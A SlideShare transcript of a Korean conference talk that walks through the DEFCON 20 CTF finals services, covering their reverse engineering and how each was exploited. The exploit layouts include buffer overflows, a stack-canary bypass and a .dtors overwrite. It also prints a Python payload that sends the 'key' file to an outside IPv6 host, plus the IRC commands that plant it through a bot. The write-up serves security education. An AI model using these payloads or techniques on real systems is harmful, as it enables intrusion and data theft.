SlideShare a Scribd company logo
DEFCON 20 CTF FINAL

                                             정재훈(nesk@nesk.co.kr)
                                                        wowhacker
                                               Best of the Best 1기

www.CodeEngn.com
7th CodeEngn ReverseEngineering Conference
1   .   CTF FINAL
2   .   nssds
3   .   mixology
4   .   torqux
5   .   coney
6   .   semem
+CTF FINAL

20주년 기념

20개팀 본선
+ Winner !




             Samurai CTF
+ Result Announcment
+nssds
+CTF 바이너리



    http://ctftime.org/event/26/tasks/
+Setting IPv6

                dc20:c7f:2012:13::2




+네트워크 인터페이스 변경
+nssds



+기본 데몬 구조




            user : nssds
            port : 54339
+daemonize()




               arg2 = main challenge function
+clientmain()




func rand2(arg) -> rand() % arg1

stage1(sockfd, [4096 <= x < 6144], [5 <= x < 9])
+stage1()
+stage1()




            2 ~ 4사이의 랜덤 루프
+stage1()




            랜덤한 영역의 랜덤위치
+stage1()




            jmpesp_addr = 0xffe4
            [ jmp esp]
+stage1()




       stage1() 은 arg2가 0일때까지 반복

       jmpesp_addr 변수에 값 설정
+stage2()




            5 : print_eip() : 현재 eip 출력

            4 : print_banner() : 문자열출력
+stage2()


            3 : print_bufcopy() :
            할당한메모리영역 주소 출력


            2 : print_bufstart() : recv()로
            받을 스택버퍼 주소 출력


            1 : print_esp() :
            jmpesp_addr의 주소출력
+stage2()


            0 : print_sockfd : 현재 소켓
            디스크립터 출력




+골라먹는재미!
+stage2()




각각메시지는 랜덤하게 모두출력됨
+stage2()




 2048 바이트 만큼 recv()
+stage2()




버퍼는 대략 1024바이트

*recv에서 2048만큼 받으므로 오버플로우 발생
+print_bufcopy()




500바이트까지 할당된 메모리에 복사되므로

리턴주소를 구할필요가 없음
+stage2()




       복사한 버퍼에 있는 문자열 체크
+sub_8049420()




  오버플로우가 일어남 -> 루틴을 분석할 필요 X
+sub_8049420()




다른데몬에서도 같이 사용되는 함수 -> 낚시용?
+exploit()


Simple !

["The first 500 bytes of ~~" 주소값 파싱]

[shellcode][ret * X]

2048바이트만큼 전송
+mixology
+mixology




user : mixology
port : 35575
+clientmain()




                문자열 체크
+stage1()




받은 정수 + 4만큼의 버퍼할당
+stage1()




할당된버퍼+4 위치부터 크기만큼 데이터받음
+stage1()




sub_8049930() ?
+stage1()




    send() 함수가 실패할 때 까지 루프
+stage1()




 somehash() ?
+stage1()




 리턴값을 버퍼 첫 4바이트에 저장
+stage1()




 *버퍼 주소 대상 실행
+exploit


보낸버퍼가 실행되니 쉘코드만 전송한다면 성공!

앞 4바이트가 쉘코드에 영향을 미치지 않으면서

실행가능한 명령어가 되어야됨
+somehash() ?
+exploit
적절한 opcode가 나올때까지 NOP를 늘린다
NOP * 1




*2, *3 .....
+exploit
NOP * 15




   [banner][xffxffx00x00][NOP*X][shellcode]
+torqux
+torqux




user : torqux


+uncompyle2

python 2.7 버전에서만 사용가능

https://github.com/wibiti/uncompyle2
+this is not the daemon you’re looking for




 +IRC BOT !
+Setting server




7번 IRC 서버에 접속
+wutwut




IRC 채널 : #eip

봇네임 : riprelative

restrictedCommand ?
+runCommand




   [USER] PRIVMSG #eip : ![command] [arg]
+runCommand




   ‘key’는 무조건 필터링
+restrictedCommand ?




 *파일쓰기기능 ?!




*config리스트에 명시된 모듈을 전부 로드
+restrictedCommand



 인증함수가 실패하면 명령어 실행불가

+_authorized




 admins는 config에 기본적으로 존재하지 않음
 = admins는 어딘가에서 추가가능하다
+levelup




명령어를 실행한 유저가 admins 값을 추가할 수 있다




 admins가 존재한다면 userLevel은 해당 값으로 설정
+levelup




userLevel > 1000이거나
command의 키값보다 userLevel이 크면 False

+Command

!_makeit -1
+exploit

key가 필터링 되기때문에 직접적인 키입력, 수정은불가능

message로 py 모듈 작성




_addit 명령어를 통한 모듈 추가

모듈 reload
+shellcode ?

from socket import *
sock = socket(AF_INET6, SOCK_STREAM)
sock.connect(('dc20:c7f:2012:13::2', 31337))
sock.write(open('k'+'ey','rb').read())

+exploit

join #eip
MODE #eip
PRIVMSG #eip    :!_makeit -1
PRIVMSG #eip    :!messages exp.py [SHELLCODE]
PRIVMSG #eip    :!_addit exp
PRIVMSG #eip    :!reload
+coney
+coney




user : coney
port : 65214
+clientmain




 문자열 체크
+clientmain




  스택값 검사를 위한 4바이트의 랜덤값 저장
+clientmain




 32바이트 크기의 난수생성
+clientmain




 생성된 난수에서 16바이트만 전송
+clientmain




아이피를 입력받음

ex)
  dc20:c7f:2012:13::2 == dc20:c7f:2012:13:0:0:0:2
+clientmain




 uprandsend(“아이피”, 2001 ~ 48001, 랜덤32자, 24)
+uprandsend




udp프로토콜로 랜덤한 포트로 문자열중 24자리 전송
+clientmain




 32바이트중 남은 8바이트를 전송

 ex) str[0:16]+str[24:32]
+ listen on random port?




freebsd에서 지원하는 pf(packet filter)

랜덤한 범위의 포트를 한곳으로 모두 리다이렉션한다
+clientmain




기존의 랜덤 32 바이트문자열이랑 recv버퍼를 비교
+clientmain




 *추가로 4바이트 recv()

 엔디안 정렬
+clientmain




 받은크기가 1024이하라면
 0x2a로 xor연산후 버퍼에 저장
+clientmain




 스택에 저장된 값이다르다면 종료
+where is the hole?




받은 4바이트 메모리는 음수로 인식




 해당 값이 0이여야지만 루프 탈출
+exploit



      문제점

      1. 음수 값의 루프

      2. 스택 쿠키 체크 우회?

      변수를 덮으면 해결가능 !
+exploit

buffer[1024] 0xbfbfe474 >       NOP

                                   +

                             SHELLCODE

buf4(ebp-0x374)        >       0xffff....

count(ebp-0x370)       >       0x?? ....

                              0x????????
canary(ebp-0x36c)      >
                                .........

                            clientmain RET


0x374의 값을 양수로 변경
이후 count를 canary 이후로 이동하도록 변경
+semem
+semem



user : semem
port : 6941


+정적 링크 바이너리

http://codeengn.com/2008-2nd-codeengn-conference/

IDA 플러그인 GrayResolve
+심볼복구
+clientmain()
+clientmain()




addmsgstruct() ?
+addmsgstruct([buf addr], msg1, msg2)




링크드리스트

struct msg{
      char buf[1024];
      struct *nextaddr;
}
+addmsgstruct()




메시지 크기가 512보다 크다면 자름

memcpy(buf[0:512], msg1)
+addmsgstruct()




          memcpy(buf[512:1024], msg2)

 struct msg{
       char msg1[512];
       char msg2[512];
       struct *nextaddr;
 }
+clientmain()




menuflag = 3
메뉴출력
+clientmain()




 선택한메뉴에 함수 주소에따라 호출
+clientmain()




addsemem 메뉴를 선택했다면 menuflag = 5
+func addsemem()




1023바이트만큼 2번 메시지를 받아서
addmsgstruct()를 호출해 임의의 메시지 추가
+func stirsemem()




 바꿀 메뉴 버퍼를 선택
+func stirsemem()




 메시지 1, 2 선택
+func stirsemem()




업데이트할 메시지를 새로받음
+func stirsemem()




버퍼 끝자리가 공백 문자인지 체크 후

공백 문자 제거
+func stirsemem()




첫번째부터 루프 -> 공백 문자 제거
+func stirsemem()




문자가 / 로 시작하는지 체크
‘/’이후 문자열을 pbuf100 변수에 저장
[/pbuf100]
+func stirsemem()




다음 ‘/’ 가 나올때까지 루프
v12 에는 두번째 문자열이 들어간다
[/pbuf100/v12]
+func stirsemem()




2번째 문자열이 g 로 끝난다면 flag를 셋팅
+func stirsemem()




문자열에 마지막까지 / 가있는지 검사한후 제거
+func stirsemem()




sub_80554d0() ??
hexray 된 pseudo code가 600줄이 넘음

-함수내부에서 문자열 발견
+Google knows everything




PCRE 라이브러리 함수

/usr/local/lib/libpcre.a 추가

+pcre_compile(*pattern,options,**errptr,*erroffset,*ta
bleptr)
패턴 지정 함수

+pcre_exec(pcre *code, pcre_extra *extra, *subject,
length, startoffset, options, ovector,ovecsize)
정규식 매칭 함수
+func stirsemem()




첫번째 / 사이에 있는 문자열을 검색
정규식 컴파일
+func stirsemem()




대체문자열(v12)로 교체

남은 문자열을 붙임(v18)

*strcat 함수는 길이검사를 하지않음
+func stirsemem()




g 플래그가 0이아니라면 계속 정규식 매칭
+exploit
struct msg{
      char msg1[512];
      char msg2[512];
      struct *nextaddr;
}
2번째 메시지를 통해서 strcat으로 nextaddr를 조작




addsemem()을 한번더 호출해서 nextaddr가 가리키는
메모리 조작가능
+exploit




정규표현식을 포맷스트링버그처럼 사용할 수 있게됨




.dtors + 4 를 리턴으로 덮어서 쉘코드실행
+exploit

메뉴 add semem
메시지 1 : [NOP + SHELLCODE]
메시지 2 : [‘A’*511 + ‘b’]

메뉴 stirsemem
바꿀 메뉴 : 7 (추가한 메뉴)
바꿀 메시지 : 1 (2번째 메시지)
정규식 : /b/Ax10x10x12x08 (.dtors + 4)

메뉴 stirsemem
바꿀 메뉴 : 8 (.dtors + 4 부분)
바꿀 메시지 : 0
정규식 : /[^1]{4}/x10x59x42x28 (RET)
(4바이트 무조건 매칭)
+QUIZ TIME!
+QUIZ TIME!


정적 링크된 바이너리의 심볼을 복구하는 IDA PLUGIN?

- GrayResolve


IP v6 주소 “dc20:c7f:2012:13::2” 랑 같으려면 ?

- dc20:c7f:2012:13:[ ]:[ ]:[ ]:2
- dc20:c7f:2012:13:[ 0 ]:[ 0 ]:[ 0 ]:2
THANK YOU FOR LISTENING
                                             질문은 지식인에




www.CodeEngn.com
7th CodeEngn ReverseEngineering Conference

More Related Content

What's hot (20)

PDF
Learning Node Book, Chapter 5
Ji Hun Kim
 
PDF
Character Encoding in python
daesung7kang
 
PDF
사례를 통해 살펴보는 프로파일링과 최적화 NDC2013
Esun Kim
 
PPTX
Concurrent servers
TonyYoon12
 
PDF
Blockchain 2nd ethereum_core
ihpark92
 
PPT
GCGC- CGCII 서버 엔진에 적용된 기술 (4) - Executing System
상현 조
 
PDF
android stuff1
Jin Jiu
 
PDF
세션5. web3.js와 Node.js 를 사용한 dApp 개발
Jay JH Park
 
PPT
GCGC- CGCII 서버 엔진에 적용된 기술 (2) - Perfornance
상현 조
 
PDF
[OpenTRS-001] Vitor
Theori
 
PPTX
헤테로지니어스 컴퓨팅 : CPU 에서 GPU 로 옮겨가기
zupet
 
PPTX
Jupyter notebok tensorboard 실행하기_20160706
Yong Joon Moon
 
PDF
Sha 2017-teaser-round website attack writeup
Seungyong Lee
 
PPTX
이권일 Sse 를 이용한 최적화와 실제 사용 예
zupet
 
PDF
Blockchain Study(4) - Geth & Smart Contract
Fermat Jade
 
PDF
[KGC 2012]Boost.asio를 이용한 네트웍 프로그래밍
흥배 최
 
PDF
[2D7]레기온즈로 살펴보는 확장 가능한 게임서버의 구현
NAVER D2
 
PDF
GPU를 위한 병렬 음원 방향 추정 알고리즘
Taewoo Lee
 
PPTX
이더리움의 현황, 한계점 및 개선노력
Younghoon Moon
 
PPTX
Dependency hell과 빌드지옥 탈출
Byeongsu Kang
 
Learning Node Book, Chapter 5
Ji Hun Kim
 
Character Encoding in python
daesung7kang
 
사례를 통해 살펴보는 프로파일링과 최적화 NDC2013
Esun Kim
 
Concurrent servers
TonyYoon12
 
Blockchain 2nd ethereum_core
ihpark92
 
GCGC- CGCII 서버 엔진에 적용된 기술 (4) - Executing System
상현 조
 
android stuff1
Jin Jiu
 
세션5. web3.js와 Node.js 를 사용한 dApp 개발
Jay JH Park
 
GCGC- CGCII 서버 엔진에 적용된 기술 (2) - Perfornance
상현 조
 
[OpenTRS-001] Vitor
Theori
 
헤테로지니어스 컴퓨팅 : CPU 에서 GPU 로 옮겨가기
zupet
 
Jupyter notebok tensorboard 실행하기_20160706
Yong Joon Moon
 
Sha 2017-teaser-round website attack writeup
Seungyong Lee
 
이권일 Sse 를 이용한 최적화와 실제 사용 예
zupet
 
Blockchain Study(4) - Geth & Smart Contract
Fermat Jade
 
[KGC 2012]Boost.asio를 이용한 네트웍 프로그래밍
흥배 최
 
[2D7]레기온즈로 살펴보는 확장 가능한 게임서버의 구현
NAVER D2
 
GPU를 위한 병렬 음원 방향 추정 알고리즘
Taewoo Lee
 
이더리움의 현황, 한계점 및 개선노력
Younghoon Moon
 
Dependency hell과 빌드지옥 탈출
Byeongsu Kang
 

Viewers also liked (20)

PDF
1. 악성코드 진단 기법 개론
Youngjun Chang
 
PDF
[2008 CodeEngn Conference 02] graylynx - 정적 링크된 Stripped ELF 바이너리 상에서의 함수 탐지 기법
Code Engn
 
PDF
3.ahn report를 이용한 악성코드 대응
Youngjun Chang
 
PDF
2. 악성코드 분석 방법론과 기법
Youngjun Chang
 
PDF
GoogleCTF 2016 [Ernst Echidna] Write-Up (ver.korean)
Se-Han Lee
 
PPTX
05 pe 헤더(pe header)
Ilsun Choi
 
PDF
[2013 CodeEngn Conference 08] Homeless - Android 악성앱 필터링 시스템
Code Engn
 
PDF
Log parser&webshell detection
Ilsun Choi
 
PDF
Christmas CTF 보안대회 수상팀 문제풀이서(팀명:쀼쀼뺘뺘)
NAVER D2
 
PPTX
Ransomware: History, Analysis, & Mitigation
WhiskeyNeon
 
PPTX
해킹과 보안
창열 최
 
PPTX
2016 hack festival igrus
Jinookawk
 
PDF
[2014 CodeEngn Conference 11] 최우석 - 자바스크립트 난독화 너네 뭐니?
Code Engn
 
PPTX
개영한줄영작_Giving Advice on Debugging
Nasol Kim
 
PDF
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis KO
Code Engn
 
PDF
[2012 CodeEngn Conference 07] manGoo - Exploit Writing Technique의 발전과 최신 트랜드
Code Engn
 
PDF
(FICON2015) #5 보안담당자가 겪는 실무적 이슈와 법률적 검토
plainbit
 
PDF
[2013 CodeEngn Conference 09] proneer - Malware Tracker
Code Engn
 
PPTX
Warning.or.kr 취약점 분석
mangonamu
 
PPTX
엑셀왕국
SeungYeon Jeong
 
1. 악성코드 진단 기법 개론
Youngjun Chang
 
[2008 CodeEngn Conference 02] graylynx - 정적 링크된 Stripped ELF 바이너리 상에서의 함수 탐지 기법
Code Engn
 
3.ahn report를 이용한 악성코드 대응
Youngjun Chang
 
2. 악성코드 분석 방법론과 기법
Youngjun Chang
 
GoogleCTF 2016 [Ernst Echidna] Write-Up (ver.korean)
Se-Han Lee
 
05 pe 헤더(pe header)
Ilsun Choi
 
[2013 CodeEngn Conference 08] Homeless - Android 악성앱 필터링 시스템
Code Engn
 
Log parser&webshell detection
Ilsun Choi
 
Christmas CTF 보안대회 수상팀 문제풀이서(팀명:쀼쀼뺘뺘)
NAVER D2
 
Ransomware: History, Analysis, & Mitigation
WhiskeyNeon
 
해킹과 보안
창열 최
 
2016 hack festival igrus
Jinookawk
 
[2014 CodeEngn Conference 11] 최우석 - 자바스크립트 난독화 너네 뭐니?
Code Engn
 
개영한줄영작_Giving Advice on Debugging
Nasol Kim
 
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis KO
Code Engn
 
[2012 CodeEngn Conference 07] manGoo - Exploit Writing Technique의 발전과 최신 트랜드
Code Engn
 
(FICON2015) #5 보안담당자가 겪는 실무적 이슈와 법률적 검토
plainbit
 
[2013 CodeEngn Conference 09] proneer - Malware Tracker
Code Engn
 
Warning.or.kr 취약점 분석
mangonamu
 
엑셀왕국
SeungYeon Jeong
 
Ad

Similar to [2012 CodeEngn Conference 07] nesk - Defcon 20th : 본선 CTF 문제풀이 (20)

PPTX
Pwnable study basic_1
J J
 
PDF
Load of Buffer Overflow 문제풀이
fromitive
 
PPTX
Pwnable study basic_3
J J
 
PDF
리눅스 소켓 프로그래밍 기초
Yu Yongwoo
 
PDF
해커스쿨 FTZ 문제 풀이
fromitive
 
PPTX
Network researching
hyeok gyu Kwon
 
PPTX
Pwnable study basic_2
J J
 
PPTX
Tcp server / client
문익 장
 
PDF
ice_grad
NakCheon Jung
 
PDF
소켓프로그래밍 기초요약
세빈 정
 
PDF
Codegate 2013 Junior - Music Player Exploit
sweetchip
 
PDF
[NDC2017 : 박준철] Python 게임 서버 안녕하십니까 - 몬스터 슈퍼리그 게임 서버
준철 박
 
PDF
[OpenTRS-001] Hotel California
Theori
 
PDF
윈도우 커널 익스플로잇
Seungyong Lee
 
PDF
Linux Kernel 101 for Beginner
InfraEngineer
 
PPTX
Linux programming study
Yunseok Lee
 
PDF
[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
James (SeokHun) Hwang
 
PPTX
고급시스템프로그래밍
kimkiweon
 
PPTX
Windows reversing study_basic_7
J J
 
PDF
제로부터시작하는 Git 두번째 이야기
Mario Cho
 
Pwnable study basic_1
J J
 
Load of Buffer Overflow 문제풀이
fromitive
 
Pwnable study basic_3
J J
 
리눅스 소켓 프로그래밍 기초
Yu Yongwoo
 
해커스쿨 FTZ 문제 풀이
fromitive
 
Network researching
hyeok gyu Kwon
 
Pwnable study basic_2
J J
 
Tcp server / client
문익 장
 
ice_grad
NakCheon Jung
 
소켓프로그래밍 기초요약
세빈 정
 
Codegate 2013 Junior - Music Player Exploit
sweetchip
 
[NDC2017 : 박준철] Python 게임 서버 안녕하십니까 - 몬스터 슈퍼리그 게임 서버
준철 박
 
[OpenTRS-001] Hotel California
Theori
 
윈도우 커널 익스플로잇
Seungyong Lee
 
Linux Kernel 101 for Beginner
InfraEngineer
 
Linux programming study
Yunseok Lee
 
[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
James (SeokHun) Hwang
 
고급시스템프로그래밍
kimkiweon
 
Windows reversing study_basic_7
J J
 
제로부터시작하는 Git 두번째 이야기
Mario Cho
 
Ad

More from Code Engn (20)

PDF
[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
Code Engn
 
PDF
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석
Code Engn
 
PDF
[2014 CodeEngn Conference 11] 남대현 - iOS MobileSafari Fuzzer 제작 및 Fuzzing
Code Engn
 
PDF
[2014 CodeEngn Conference 11] 김기홍 - 빅데이터 기반 악성코드 자동 분석 플랫폼
Code Engn
 
PDF
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study KO
Code Engn
 
PDF
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study EN
Code Engn
 
PDF
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis EN
Code Engn
 
PDF
[2014 CodeEngn Conference 11] 정든품바 - 웹성코드
Code Engn
 
PDF
[2014 CodeEngn Conference 10] 정광운 - 안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
Code Engn
 
PDF
[2014 CodeEngn Conference 10] 노용환 - 디버거 개발, 삽질기
Code Engn
 
PDF
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
Code Engn
 
PDF
[2013 CodeEngn Conference 09] x15kangx - MS Office 2010 문서 암호화 방식 분석 결과
Code Engn
 
PDF
[2013 CodeEngn Conference 09] BlueH4G - hooking and visualization
Code Engn
 
PDF
[2013 CodeEngn Conference 09] wh1ant - various tricks for linux remote exploits
Code Engn
 
PDF
[2013 CodeEngn Conference 09] 제갈공맹 - MS 원데이 취약점 분석 방법론
Code Engn
 
PDF
[2013 CodeEngn Conference 09] Park.Sam - 게임 해킹툴의 변칙적 공격 기법 분석
Code Engn
 
PDF
[2013 CodeEngn Conference 09] 김홍진 - 보안컨설팅 이해 및 BoB 보안컨설팅 인턴쉽
Code Engn
 
PDF
[2010 CodeEngn Conference 04] Max - Fighting against Botnet
Code Engn
 
PDF
[2010 CodeEngn Conference 04] window31 - Art of Keylogging 키보드보안과 관계없는 키로거들
Code Engn
 
PDF
[2009 CodeEngn Conference 03] externalist - Reversing Undocumented File Forma...
Code Engn
 
[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
Code Engn
 
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석
Code Engn
 
[2014 CodeEngn Conference 11] 남대현 - iOS MobileSafari Fuzzer 제작 및 Fuzzing
Code Engn
 
[2014 CodeEngn Conference 11] 김기홍 - 빅데이터 기반 악성코드 자동 분석 플랫폼
Code Engn
 
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study KO
Code Engn
 
[2014 CodeEngn Conference 11] 박세한 - IE 1DAY Case Study EN
Code Engn
 
[2014 CodeEngn Conference 11] 김호빈 - Android Bootkit Analysis EN
Code Engn
 
[2014 CodeEngn Conference 11] 정든품바 - 웹성코드
Code Engn
 
[2014 CodeEngn Conference 10] 정광운 - 안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
Code Engn
 
[2014 CodeEngn Conference 10] 노용환 - 디버거 개발, 삽질기
Code Engn
 
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
Code Engn
 
[2013 CodeEngn Conference 09] x15kangx - MS Office 2010 문서 암호화 방식 분석 결과
Code Engn
 
[2013 CodeEngn Conference 09] BlueH4G - hooking and visualization
Code Engn
 
[2013 CodeEngn Conference 09] wh1ant - various tricks for linux remote exploits
Code Engn
 
[2013 CodeEngn Conference 09] 제갈공맹 - MS 원데이 취약점 분석 방법론
Code Engn
 
[2013 CodeEngn Conference 09] Park.Sam - 게임 해킹툴의 변칙적 공격 기법 분석
Code Engn
 
[2013 CodeEngn Conference 09] 김홍진 - 보안컨설팅 이해 및 BoB 보안컨설팅 인턴쉽
Code Engn
 
[2010 CodeEngn Conference 04] Max - Fighting against Botnet
Code Engn
 
[2010 CodeEngn Conference 04] window31 - Art of Keylogging 키보드보안과 관계없는 키로거들
Code Engn
 
[2009 CodeEngn Conference 03] externalist - Reversing Undocumented File Forma...
Code Engn
 

[2012 CodeEngn Conference 07] nesk - Defcon 20th : 본선 CTF 문제풀이